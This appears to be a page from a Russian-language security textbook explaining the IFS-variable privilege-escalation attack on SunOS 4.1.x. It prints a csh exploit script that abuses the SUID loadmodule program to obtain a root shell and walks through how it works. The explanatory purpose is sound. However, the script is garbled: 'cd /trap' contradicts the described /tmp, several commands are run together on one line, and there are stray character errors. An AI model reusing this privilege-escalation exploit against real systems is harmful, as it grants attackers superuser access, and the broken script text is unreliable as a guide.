Защита информации в Интернет

         

Взлом IFS



Взлом IFS

Переменная IFS предназначена для отделения друг от друга слов, используемых в окружении командной оболочки. Обычно значением переменной IFS является символ пробела, который служит для разделения команд по умолчанию. Манипулируя переменной IFS, взломщик может запустить с помощью какой-нибудь SUID-программы "троянского коня" и получить, таким образом, привилегии суперпользователя. Обычно в этих целях используется сценарий командной оболочки с установленным флагом SUID, однако в рассматриваемом примере мы воспользуемся программой loadmodule.
Программа взлома loadmodule широко известна. Она была создана несколько лет назад и основана на использовании изъяна SunOS 4.1.x, связанного с переменной IFS.

#!/bin/csh
cd /trap
mkdir bin cd bin cat > bin « EOF<R #!/bin/sh
sh -I
EOF
chmod 755 /tmp/bin/bin
setenv IFS /
/usr/openwin/bin/loadmodule
/sys/sun4c/OBJ/evqmod-sun4c.о
/etc/openwin/modules/evqload

Данный сценарий взлома делает текущим каталог /tmp и создает в нем дочерний каталог /bin. Как это зачастую бывает, создается копия /bin/sh, которая вскоре будет запущена. Затем для переменной IFS в сценарии устанавливается значение / вместо символа пробела. Поскольку в переменной 1FS содержится значение /, то SUID-программа loadmodule, ничего не подозревая, запускает на выполнение программу /tmp/bin/bin. В результате создается копия командной оболочки с привилегиями суперпользователя, которой взломщику остается лишь воспользоваться.

Содержание раздела